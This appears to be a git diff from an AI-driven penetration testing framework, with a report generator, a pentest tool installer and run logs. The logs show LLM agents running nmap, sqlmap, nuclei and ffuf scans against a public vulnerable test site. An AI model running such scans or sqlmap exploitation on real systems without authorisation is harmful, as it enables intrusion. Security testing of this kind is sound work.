<div class="poc-item">
<h5>Payload</h5>
{self._format_code_block(vuln.get('poc_payload', 'N/A'), 'text')}
</div>
<div class="poc-item">
<h5>Response</h5>
{self._format_code_block(vuln.get('poc_response', 'N/A')[:1000], 'http')}
</div>
</div>
{f'''<div class="vuln-section">
<h4>CVSS Vector</h4>
<code>{self._escape_html(vuln.get('cvss_vector', 'N/A'))}</code>
</div>''' if vuln.get('cvss_vector') else ''}
<div class="vuln-section remediation">
<h4>Remediation</h4>
<p>{self._escape_html(vuln.get('remediation', 'Consult vendor documentation for patches'))}</p>
</div>
{f'''<div class="vuln-section">
<h4>References</h4>
{refs_html}
</div>''' if refs_html else ''}
{f'''<div class="vuln-section tool-output">
<h4>Raw Tool Output</h4>
{self._format_code_block(vuln.get('tool_output', '')[:2000], 'text')}
</div>''' if vuln.get('tool_output') else ''}
</div>
</div>
"""
def generate_open_ports_section(self) -> str:
"""Generate open ports section"""
ports = self.scan_results.get("open_ports", [])
if not ports:
return ""
rows = ""
for port in ports:
rows += f"""
<tr>
<td>{port.get('port', 'N/A')}</td>
<td>{port.get('protocol', 'N/A')}</td>
<td>{self._escape_html(port.get('service', 'N/A'))}</td>
<td>{self._escape_html(port.get('version', 'N/A'))}</td>
</tr>
"""
return f"""
<div class="card">
<div class="card-header">
<h2>Open Ports & Services</h2>
</div>
<div class="card-body">
<table class="table table-striped">
<thead>
<tr>
<th>Port</th>
<th>Protocol</th>
<th>Service</th>
<th>Version</th>
</tr>
</thead>
<tbody>
{rows}
</tbody>
</table>
</div>
</div>
"""
def generate_tools_executed_section(self) -> str:
"""Generate tools executed section"""
tools = self.scan_results.get("tools_executed", [])
if not tools:
return ""
rows = ""
for tool in tools:
status = "Success" if tool.get("success") else "Failed"
status_class = "text-success" if tool.get("success") else "text-danger"
rows += f"""
<tr>
<td>{self._escape_html(tool.get('tool', 'N/A'))}</td>
<td><code>{self._escape_html(tool.get('command', 'N/A')[:100])}</code></td>
<td class="{status_class}">{status}</td>
<td>{tool.get('timestamp', 'N/A')}</td>
</tr>
"""
return f"""
<div class="card">
<div class="card-header">
<h2>Tools Executed</h2>
</div>
<div class="card-body">
<table class="table table-striped">
<thead>
<tr>
<th>Tool</th>
<th>Command</th>
<th>Status</th>
<th>Timestamp</th>
</tr>
</thead>
<tbody>
{rows}
</tbody>
</table>
</div>
</div>
"""
def generate_llm_analysis_section(self) -> str:
"""Generate AI analysis section"""
if not self.llm_analysis:
return ""
import mistune
analysis_html = mistune.html(self.llm_analysis)
return f"""
<div class="card">
<div class="card-header">
<h2>AI Security Analysis</h2>
</div>
<div class="card-body llm-analysis">
{analysis_html}
</div>
</div>
"""
def generate_html_report(self) -> str:
"""Generate complete HTML report"""
vulnerabilities = self.scan_results.get("vulnerabilities", [])
# Sort vulnerabilities by severity
severity_order = {"Critical": 0, "High": 1, "Medium": 2, "Low": 3, "Info": 4}
vulnerabilities.sort(key=lambda x: severity_order.get(x.get("severity", "Info").capitalize(), 5))
vuln_cards = ""
for i, vuln in enumerate(vulnerabilities, 1):
vuln_cards += self.generate_vulnerability_card(vuln, i)
# Table of contents
toc_items = ""
for i, vuln in enumerate(vulnerabilities, 1):
severity = vuln.get("severity", "Unknown")
color = self._get_severity_color(severity)
toc_items += f'<li><a href="#vuln-{i}" style="color: {color};">[{severity.upper()}] {self._escape_html(vuln.get("title", "Unknown")[:50])}</a></li>'
html = f"""
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NeuroSploitv2 - Penetration Test Report</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/styles/atom-one-dark.min.css">
<style>
:root {{
--bg-dark: #0d1117;
--bg-card: #161b22;
--border-color: #30363d;
--text-primary: #c9d1d9;
--text-secondary: #8b949e;
--accent-green: #00ff00;
--critical-color: #dc3545;
--high-color: #fd7e14;
--medium-color: #ffc107;
--low-color: #17a2b8;
}}
body {{
background-color: var(--bg-dark);
color: var(--text-primary);
font-family: 'Segoe UI', system-ui, sans-serif;
}}
.container {{
max-width: 1200px;
padding: 20px;
}}
.report-header {{
text-align: center;
padding: 40px 0;
border-bottom: 2px solid var(--accent-green);
margin-bottom: 30px;
}}
.report-header h1 {{
font-size: 2.5rem;
color: var(--accent-green);
text-shadow: 0 0 10px var(--accent-green);
margin-bottom: 10px;
}}
.card {{
background-color: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 8px;
margin-bottom: 20px;
}}
.card-header {{
background-color: rgba(0, 255, 0, 0.1);
border-bottom: 1px solid var(--border-color);
padding: 15px 20px;
}}
.card-header h2 {{
margin: 0;
color: var(--accent-green);
font-size: 1.3rem;
}}
.card-body {{
padding: 20px;
}}
.table {{
color: var(--text-primary);
}}
.table th {{
border-color: var(--border-color);
color: var(--accent-green);
}}
.table td {{
border-color: var(--border-color);
}}
.vulnerability-card {{
background-color: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 8px;
margin-bottom: 25px;
overflow: hidden;
}}
.vuln-header {{
padding: 20px;
background-color: rgba(0, 0, 0, 0.3);
}}
.vuln-title h3 {{
margin: 0 0 10px 0;
font-size: 1.2rem;
}}
.vuln-meta {{
display: flex;
gap: 15px;
align-items: center;
flex-wrap: wrap;
}}
.cvss-score {{
background-color: #333;
padding: 5px 10px;
border-radius: 4px;
font-family: monospace;
}}
.cwe-id {{
background-color: #1a365d;
padding: 5px 10px;
border-radius: 4px;
font-family: monospace;
}}
.vuln-body {{
padding: 20px;
}}
.vuln-section {{
margin-bottom: 20px;
padding-bottom: 15px;
border-bottom: 1px solid var(--border-color);
}}
.vuln-section:last-child {{
border-bottom: none;
margin-bottom: 0;
}}
.vuln-section h4 {{
color: var(--accent-green);
font-size: 1rem;
margin-bottom: 10px;
}}
.vuln-section h5 {{
color: var(--text-secondary);
font-size: 0.9rem;
margin: 10px 0 5px 0;
}}
.poc-section {{
background-color: rgba(0, 0, 0, 0.2);
padding: 15px;
border-radius: 8px;
}}
.poc-item {{
margin-bottom: 15px;
}}
pre {{
background-color: #1e1e1e;
padding: 15px;
border-radius: 6px;
overflow-x: auto;
margin: 0;
}}
code {{
font-family: 'Fira Code', 'Consolas', monospace;
font-size: 0.85rem;
}}
.endpoint {{
background-color: #333;
padding: 8px 12px;
border-radius: 4px;
display: inline-block;
word-break: break-all;
}}
.remediation {{
background-color: rgba(0, 255, 0, 0.05);
border-left: 3px solid var(--accent-green);
padding-left: 15px;
}}
.severity-chart {{
display: flex;
flex-direction: column;
gap: 5px;
}}
.severity-bar {{
padding: 8px 15px;
border-radius: 4px;
font-weight: bold;
min-width: 100px;
}}
.severity-bar.critical {{ background-color: var(--critical-color); }}
.severity-bar.high {{ background-color: var(--high-color); color: #000; }}
.severity-bar.medium {{ background-color: var(--medium-color); color: #000; }}
.severity-bar.low {{ background-color: var(--low-color); }}
.toc {{
background-color: var(--bg-card);
border: 1px solid var(--border-color);
border-radius: 8px;
padding: 20px;
margin-bottom: 30px;
}}
.toc h3 {{
color: var(--accent-green);
margin-bottom: 15px;
}}
.toc ul {{
list-style: none;
padding: 0;
margin: 0;
}}
.toc li {{
padding: 5px 0;
}}
.toc a {{
text-decoration: none;
}}
.toc a:hover {{
text-decoration: underline;
}}
.llm-analysis {{
line-height: 1.8;
}}
.llm-analysis h2 {{
color: var(--accent-green);
border-bottom: 1px solid var(--border-color);
padding-bottom: 10px;
}}
.footer {{
text-align: center;
padding: 30px;
border-top: 1px solid var(--border-color);
margin-top: 30px;
color: var(--text-secondary);
}}
@media print {{
body {{
background-color: white;
color: black;
}}
.vulnerability-card {{
page-break-inside: avoid;
}}
}}
</style>
</head>
<body>
<div class="container">
<div class="report-header">
<h1>NeuroSploitv2</h1>
<p class="lead">Penetration Test Report</p>
<p class="text-muted">Generated: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}</p>
</div>
{self.generate_executive_summary()}
<div class="toc">
<h3>Table of Contents - Vulnerabilities ({len(vulnerabilities)})</h3>
<ul>
{toc_items}
</ul>
</div>
{self.generate_open_ports_section()}
{self.generate_tools_executed_section()}
<div class="card">
<div class="card-header">
<h2>Vulnerability Details</h2>
</div>
<div class="card-body">
{vuln_cards if vuln_cards else '<p class="text-muted">No vulnerabilities found during the assessment.</p>'}
</div>
</div>
{self.generate_llm_analysis_section()}
<div class="footer">
<p>Report generated by <strong>NeuroSploitv2</strong> - AI-Powered Penetration Testing Framework</p>
<p class="small">This report is confidential and intended for authorized personnel only.</p>
</div>
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.9.0/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
</body>
</html>
"""
return html
def save_report(self, output_dir: str = "reports") -> str:
"""Save HTML report to file"""
os.makedirs(output_dir, exist_ok=True)
filename = f"pentest_report_{self.timestamp}.html"
filepath = os.path.join(output_dir, filename)
html_content = self.generate_html_report()
with open(filepath, 'w', encoding='utf-8') as f:
f.write(html_content)
logger.info(f"Report saved to: {filepath}")
return filepath
def save_json_report(self, output_dir: str = "results") -> str:
"""Save JSON report to file"""
os.makedirs(output_dir, exist_ok=True)
filename = f"pentest_results_{self.timestamp}.json"
filepath = os.path.join(output_dir, filename)
with open(filepath, 'w', encoding='utf-8') as f:
json.dump(self.scan_results, f, indent=2, default=str)
logger.info(f"JSON results saved to: {filepath}")
return filepath
+376
View File
@@ -0,0 +1,376 @@
#!/usr/bin/env python3
"""
Tool Installer - Installs required pentest tools for NeuroSploitv2
"""
import subprocess
import shutil
import os
import sys
import logging
from typing import Dict, List, Tuple
logger = logging.getLogger(__name__)
# Tool definitions with installation commands for different package managers
PENTEST_TOOLS = {
"nmap": {
"description": "Network scanner and port mapper",
"check_cmd": "nmap --version",
"install": {
"apt": "sudo apt-get install -y nmap",
"yum": "sudo yum install -y nmap",
"dnf": "sudo dnf install -y nmap",
"brew": "brew install nmap",
"pacman": "sudo pacman -S --noconfirm nmap"
},
"binary": "nmap"
},
"sqlmap": {
"description": "SQL injection detection and exploitation",
"check_cmd": "sqlmap --version",
"install": {
"apt": "sudo apt-get install -y sqlmap",
"yum": "sudo pip3 install sqlmap",
"dnf": "sudo dnf install -y sqlmap",
"brew": "brew install sqlmap",
"pacman": "sudo pacman -S --noconfirm sqlmap",
"pip": "pip3 install sqlmap"
},
"binary": "sqlmap"
},
"nikto": {
"description": "Web server vulnerability scanner",
"check_cmd": "nikto -Version",
"install": {
"apt": "sudo apt-get install -y nikto",
"yum": "sudo yum install -y nikto",
"dnf": "sudo dnf install -y nikto",
"brew": "brew install nikto",
"pacman": "sudo pacman -S --noconfirm nikto"
},
"binary": "nikto"
},
"gobuster": {
"description": "Directory/file & DNS busting tool",
"check_cmd": "gobuster version",
"install": {
"apt": "sudo apt-get install -y gobuster",
"brew": "brew install gobuster",
"go": "go install github.com/OJ/gobuster/v3@latest"
},
"binary": "gobuster"
},
"nuclei": {
"description": "Fast vulnerability scanner based on templates",
"check_cmd": "nuclei -version",
"install": {
"go": "go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest",
"brew": "brew install nuclei"
},
"binary": "nuclei"
},
"subfinder": {
"description": "Subdomain discovery tool",
"check_cmd": "subfinder -version",
"install": {
"go": "go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest",
"brew": "brew install subfinder"
},
"binary": "subfinder"
},
"httpx": {
"description": "HTTP toolkit for probing",
"check_cmd": "httpx -version",
"install": {
"go": "go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest",
"brew": "brew install httpx"
},
"binary": "httpx"
},
"ffuf": {
"description": "Fast web fuzzer",
"check_cmd": "ffuf -V",
"install": {
"apt": "sudo apt-get install -y ffuf",
"go": "go install github.com/ffuf/ffuf/v2@latest",
"brew": "brew install ffuf"
},
"binary": "ffuf"
},
"hydra": {
"description": "Network login cracker",
"check_cmd": "hydra -h",
"install": {
"apt": "sudo apt-get install -y hydra",
"yum": "sudo yum install -y hydra",
"dnf": "sudo dnf install -y hydra",
"brew": "brew install hydra",
"pacman": "sudo pacman -S --noconfirm hydra"
},
"binary": "hydra"
},
"whatweb": {
"description": "Web technology identifier",
"check_cmd": "whatweb --version",
"install": {
"apt": "sudo apt-get install -y whatweb",
"brew": "brew install whatweb",
"gem": "sudo gem install whatweb"
},
"binary": "whatweb"
},
"wpscan": {
"description": "WordPress vulnerability scanner",
"check_cmd": "wpscan --version",
"install": {
"apt": "sudo apt-get install -y wpscan",
"brew": "brew install wpscan",
"gem": "sudo gem install wpscan"
},
"binary": "wpscan"
},
"curl": {
"description": "HTTP client for requests",
"check_cmd": "curl --version",
"install": {
"apt": "sudo apt-get install -y curl",
"yum": "sudo yum install -y curl",
"dnf": "sudo dnf install -y curl",
"brew": "brew install curl",
"pacman": "sudo pacman -S --noconfirm curl"
},
"binary": "curl"
},
"jq": {
"description": "JSON processor for parsing outputs",
"check_cmd": "jq --version",
"install": {
"apt": "sudo apt-get install -y jq",
"yum": "sudo yum install -y jq",
"dnf": "sudo dnf install -y jq",
"brew": "brew install jq",
"pacman": "sudo pacman -S --noconfirm jq"
},
"binary": "jq"
},
"dirsearch": {
"description": "Web path discovery tool",
"check_cmd": "dirsearch --version",
"install": {
"pip": "pip3 install dirsearch"
},
"binary": "dirsearch"
},
"wafw00f": {
"description": "Web Application Firewall detection",
"check_cmd": "wafw00f -h",
"install": {
"pip": "pip3 install wafw00f"
},
"binary": "wafw00f"
}
}
class ToolInstaller:
"""Manages installation of pentest tools"""
def __init__(self):
self.package_manager = self._detect_package_manager()
def _detect_package_manager(self) -> str:
"""Detect the system's package manager"""
managers = [
("apt-get", "apt"),
("dnf", "dnf"),
("yum", "yum"),
("pacman", "pacman"),
("brew", "brew")
]
for cmd, name in managers:
if shutil.which(cmd):
return name
# Fallback to pip for Python tools
return "pip"
def check_tool_installed(self, tool_name: str) -> Tuple[bool, str]:
"""Check if a tool is installed and return its path"""
tool_info = PENTEST_TOOLS.get(tool_name)
if not tool_info:
return False, ""
binary = tool_info.get("binary", tool_name)
path = shutil.which(binary)
if path:
return True, path
# Check common paths
common_paths = [
f"/usr/bin/{binary}",
f"/usr/local/bin/{binary}",
f"/opt/{binary}/{binary}",
os.path.expanduser(f"~/go/bin/{binary}"),
f"/snap/bin/{binary}"
]
for p in common_paths:
if os.path.isfile(p) and os.access(p, os.X_OK):
return True, p
return False, ""
def get_tools_status(self) -> Dict[str, Dict]:
"""Get installation status of all tools"""
status = {}
for tool_name, tool_info in PENTEST_TOOLS.items():
installed, path = self.check_tool_installed(tool_name)
status[tool_name] = {
"installed": installed,
"path": path,
"description": tool_info["description"]
}
return status
def install_tool(self, tool_name: str) -> Tuple[bool, str]:
"""Install a specific tool"""
if tool_name not in PENTEST_TOOLS:
return False, f"Unknown tool: {tool_name}"
tool_info = PENTEST_TOOLS[tool_name]
install_cmds = tool_info.get("install", {})
# Try package manager first
if self.package_manager in install_cmds:
cmd = install_cmds[self.package_manager]
elif "pip" in install_cmds:
cmd = install_cmds["pip"]
elif "go" in install_cmds and shutil.which("go"):
cmd = install_cmds["go"]
elif "gem" in install_cmds and shutil.which("gem"):
cmd = install_cmds["gem"]
else:
return False, f"No installation method available for {tool_name} on this system"
print(f"[*] Installing {tool_name}...")
print(f" Command: {cmd}")
try:
result = subprocess.run(
cmd,
shell=True,
capture_output=True,
text=True,
timeout=300
)
if result.returncode == 0:
# Verify installation
installed, path = self.check_tool_installed(tool_name)
if installed:
return True, f"Successfully installed {tool_name} at {path}"
else:
return True, f"Installation completed but binary not found in PATH"
else:
return False, f"Installation failed: {result.stderr}"
except subprocess.TimeoutExpired:
return False, "Installation timed out"
except Exception as e:
return False, f"Installation error: {str(e)}"
def install_all_tools(self) -> Dict[str, Tuple[bool, str]]:
"""Install all pentest tools"""
results = {}
for tool_name in PENTEST_TOOLS:
installed, path = self.check_tool_installed(tool_name)
if installed:
results[tool_name] = (True, f"Already installed at {path}")
else:
results[tool_name] = self.install_tool(tool_name)
return results
def install_essential_tools(self) -> Dict[str, Tuple[bool, str]]:
"""Install only essential tools for basic pentesting"""
essential = ["nmap", "sqlmap", "nikto", "nuclei", "curl", "jq", "httpx", "ffuf"]
results = {}
for tool_name in essential:
installed, path = self.check_tool_installed(tool_name)
if installed:
results[tool_name] = (True, f"Already installed at {path}")
else:
results[tool_name] = self.install_tool(tool_name)
return results
def print_tools_menu():
"""Print the tools installation menu"""
installer = ToolInstaller()
status = installer.get_tools_status()
print("\n" + "="*70)
print(" PENTEST TOOLS INSTALLATION MANAGER")
print("="*70)
print(f"\nDetected Package Manager: {installer.package_manager}")
print("\nAvailable Tools:")
print("-"*70)
for i, (tool_name, info) in enumerate(status.items(), 1):
status_icon = "[+]" if info["installed"] else "[-]"
status_text = "Installed" if info["installed"] else "Not Installed"
print(f" {i:2}. {status_icon} {tool_name:15} - {info['description'][:40]}")
print("-"*70)
print("\nOptions:")
print(" A - Install ALL tools")
print(" E - Install ESSENTIAL tools only (nmap, sqlmap, nikto, nuclei, etc.)")
print(" 1-N - Install specific tool by number")
print(" Q - Return to main menu")
print("-"*70)
return installer, list(status.keys())
def run_installer_menu():
"""Run the interactive installer menu"""
while True:
installer, tool_list = print_tools_menu()
choice = input("\nSelect option: ").strip().upper()
if choice == 'Q':
break
elif choice == 'A':
print("\n[*] Installing all tools...")
results = installer.install_all_tools()
for tool, (success, msg) in results.items():
icon = "[+]" if success else "[!]"
print(f" {icon} {tool}: {msg}")
input("\nPress Enter to continue...")
elif choice == 'E':
print("\n[*] Installing essential tools...")
results = installer.install_essential_tools()
for tool, (success, msg) in results.items():
icon = "[+]" if success else "[!]"
print(f" {icon} {tool}: {msg}")
input("\nPress Enter to continue...")
else:
try:
idx = int(choice) - 1
if 0 <= idx < len(tool_list):
tool_name = tool_list[idx]
success, msg = installer.install_tool(tool_name)
icon = "[+]" if success else "[!]"
print(f"\n {icon} {msg}")
input("\nPress Enter to continue...")
else:
print("[!] Invalid selection")
except ValueError:
print("[!] Invalid input")
if __name__ == "__main__":
run_installer_menu()
+267 -251
View File
@@ -1,251 +1,267 @@
2025-12-19 11:32:18,555 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113218 2026-01-09 14:50:31,946 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145031
2025-12-19 11:32:55,262 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113255 2026-01-09 14:54:04,860 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145404
2025-12-19 11:33:54,241 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113354 2026-01-09 14:54:10,914 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145410
2025-12-19 11:34:29,519 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113429 2026-01-09 14:54:23,986 - __main__ - INFO - Tools configuration updated
2025-12-19 11:35:39,664 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113539 2026-01-09 14:54:29,502 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145429
2025-12-19 11:35:39,664 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 14:54:38,874 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145438
2025-12-19 11:35:39,666 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 14:54:59,563 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145459
2025-12-19 11:35:39,668 - core.llm_manager - INFO - Loaded 8 prompts from Markdown library. 2026-01-09 14:55:18,292 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145518
2025-12-19 11:35:39,668 - core.llm_manager - INFO - Initialized LLM Manager - Provider: gemini, Model: gemini-pro, Profile: gemini_pro_default 2026-01-09 14:55:41,508 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145541
2025-12-19 11:35:39,668 - __main__ - ERROR - Prompts for agent role 'owasp_expert' not found in MD library. 2026-01-09 14:56:11,734 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145611
2025-12-19 11:37:59,476 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113759 2026-01-09 14:56:11,735 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:38:04,329 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113804 2026-01-09 14:56:11,735 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:38:04,329 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 14:56:11,737 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:38:04,330 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 14:56:11,737 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: llama3:8b, Profile: ollama_llama3_default
2025-12-19 11:38:04,331 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 14:56:11,737 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:38:04,331 - core.llm_manager - INFO - Initialized LLM Manager - Provider: gemini, Model: gemini-pro, Profile: gemini_pro_default 2026-01-09 14:56:11,737 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: Analyze and finding XSS and SQL Injection vuln in ...
2025-12-19 11:38:04,331 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 14:56:28,803 - __main__ - INFO - Results saved to results/campaign_20260109_145611.json
2025-12-19 11:38:04,331 - agents.base_agent - INFO - Executing owasp_expert agent for input: Realize um teste no site http://testphp.vulnweb.co... 2026-01-09 14:56:28,808 - __main__ - INFO - Report generated: reports/report_20260109_145611.html
2025-12-19 11:38:04,331 - agents.base_agent - ERROR - Missing key in prompt template for owasp_expert: 'web_app_details_json'. Falling back to basic prompt. 2026-01-09 14:58:00,149 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_145800
2025-12-19 11:38:13,483 - core.llm_manager - ERROR - Error generating raw response: 2026-01-09 14:58:00,150 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
No API_KEY or ADC found. Please either: 2026-01-09 14:58:00,150 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
- Set the `GOOGLE_API_KEY` environment variable. 2026-01-09 14:58:00,152 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
- Manually pass the key with `genai.configure(api_key=my_api_key)`. 2026-01-09 14:58:00,152 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: lazarevtill/Llama-3-WhiteRabbitNeo-8B-v2.0:q4_0, Profile: ollama_whiterabbit
- Or set up Application Default Credentials, see https://ai.google.dev/gemini-api/docs/oauth for more information. 2026-01-09 14:58:00,152 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:38:13,484 - __main__ - INFO - Results saved to results/campaign_20251219_113804.json 2026-01-09 14:58:00,153 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: Analyze and finding XSS and SQL Injection vuln in ...
2025-12-19 11:38:13,484 - __main__ - INFO - Report generated: reports/report_20251219_113804.html 2026-01-09 14:59:58,160 - __main__ - INFO - Results saved to results/campaign_20260109_145800.json
2025-12-19 11:38:40,109 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113840 2026-01-09 14:59:58,169 - __main__ - INFO - Report generated: reports/report_20260109_145800.html
2025-12-19 11:38:40,109 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:07:09,565 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_150709
2025-12-19 11:38:40,109 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:07:09,565 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
2025-12-19 11:38:40,110 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:07:09,566 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
2025-12-19 11:38:40,110 - core.llm_manager - INFO - Initialized LLM Manager - Provider: gemini, Model: gemini-pro, Profile: gemini_pro_default 2026-01-09 15:07:09,568 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:38:40,110 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:07:09,568 - core.llm_manager - INFO - Initialized LLM Manager - Provider: ollama, Model: lazarevtill/Llama-3-WhiteRabbitNeo-8B-v2.0:q4_0, Profile: ollama_whiterabbit
2025-12-19 11:38:40,110 - agents.base_agent - INFO - Executing owasp_expert agent for input: Realize um teste no site http://testphp.vulnweb.co... 2026-01-09 15:07:09,568 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:38:49,301 - core.llm_manager - ERROR - Error generating raw response: 2026-01-09 15:07:09,568 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: Analyze and finding XSS and SQL Injection vuln in ...
No API_KEY or ADC found. Please either: 2026-01-09 15:07:09,568 - agents.base_agent - INFO - Executing: /usr/bin/nmap -sV -sC -p 1-1000 --open testphp.vulnweb.com
- Set the `GOOGLE_API_KEY` environment variable. 2026-01-09 15:07:09,570 - agents.base_agent - ERROR - Error executing nmap: [Errno 2] No such file or directory: '/usr/bin/nmap'
- Manually pass the key with `genai.configure(api_key=my_api_key)`. 2026-01-09 15:07:09,570 - agents.base_agent - INFO - Executing: /usr/bin/curl -s -I -k http://testphp.vulnweb.com/
- Or set up Application Default Credentials, see https://ai.google.dev/gemini-api/docs/oauth for more information. 2026-01-09 15:07:10,603 - agents.base_agent - INFO - Executing: /usr/local/bin/nuclei -u http://testphp.vulnweb.com/ -silent -nc
2025-12-19 11:38:49,301 - __main__ - INFO - Results saved to results/campaign_20251219_113840.json 2026-01-09 15:11:16,445 - agents.base_agent - INFO - Executing: /usr/bin/nikto -h http://testphp.vulnweb.com/ -nointeractive
2025-12-19 11:38:49,302 - __main__ - INFO - Report generated: reports/report_20251219_113840.html 2026-01-09 15:11:16,447 - agents.base_agent - ERROR - Error executing nikto: [Errno 2] No such file or directory: '/usr/bin/nikto'
2025-12-19 11:39:42,429 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_113942 2026-01-09 15:11:16,447 - agents.base_agent - INFO - Executing: /usr/local/bin/sqlmap -u http://testphp.vulnweb.com/ --batch --level=2 --risk=2 --random-agent --threads=3
2025-12-19 11:39:42,430 - __main__ - INFO - Starting execution for agent role: owasp_expert 2026-01-09 15:11:18,050 - agents.base_agent - INFO - Executing: /usr/bin/ffuf -u http://testphp.vulnweb.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,301,302,403 -t 50
2025-12-19 11:39:42,430 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json 2026-01-09 15:11:18,051 - agents.base_agent - ERROR - Error executing ffuf: [Errno 2] No such file or directory: '/usr/bin/ffuf'
2025-12-19 11:39:42,430 - core.llm_manager - INFO - Loaded 9 prompts from Markdown library. 2026-01-09 15:11:40,036 - __main__ - INFO - Results saved to results/campaign_20260109_150709.json
2025-12-19 11:39:42,430 - core.llm_manager - INFO - Initialized LLM Manager - Provider: gemini, Model: gemini-pro, Profile: gemini_pro_default 2026-01-09 15:11:40,039 - __main__ - INFO - Report generated: reports/report_20260109_150709.html
2025-12-19 11:39:42,430 - agents.base_agent - INFO - Initialized owasp_expert agent. Description: Specializes in assessing web applications against OWASP Top 10 vulnerabilities. 2026-01-09 15:17:31,641 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_151731
2025-12-19 11:39:42,430 - agents.base_agent - INFO - Executing owasp_expert agent for input: Realize um teste no site http://testphp.vulnweb.co... 2026-01-09 15:17:38,401 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_151738
2025-12-19 11:39:51,400 - core.llm_manager - ERROR - Error generating raw response: 2026-01-09 15:17:42,099 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_151742
No API_KEY or ADC found. Please either: 2026-01-09 15:18:09,938 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20260109_151809
- Set the `GOOGLE_API_KEY` environment variable. 2026-01-09 15:19:08,248 - __main__ - INFO - Starting execution for agent role: bug_bounty_hunter
- Manually pass the key with `genai.configure(api_key=my_api_key)`. 2026-01-09 15:19:08,251 - core.llm_manager - INFO - Loaded prompts from JSON library: prompts/library.json
- Or set up Application Default Credentials, see https://ai.google.dev/gemini-api/docs/oauth for more information. 2026-01-09 15:19:08,254 - core.llm_manager - INFO - Loaded 12 prompts from Markdown library.
2025-12-19 11:39:51,401 - __main__ - INFO - Results saved to results/campaign_20251219_113942.json 2026-01-09 15:19:08,254 - core.llm_manager - INFO - Initialized LLM Manager - Provider: claude, Model: claude-3-opus-20240229, Profile: claude_opus_default
2025-12-19 11:39:51,402 - __main__ - INFO - Report generated: reports/report_20251219_113942.html 2026-01-09 15:19:08,254 - agents.base_agent - INFO - Initialized bug_bounty_hunter agent. Description: Focuses on web application vulnerabilities, leveraging recon and exploitation tools.
2025-12-19 11:40:25,811 - __main__ - INFO - NeuroSploitv2 initialized - Session: 20251219_114025 2026-01-09 15:19:08,254 - agents.base_agent - INFO - Executing bug_bounty_hunter agent for input: target http://testphp.vulnweb.com/listproducts.php...
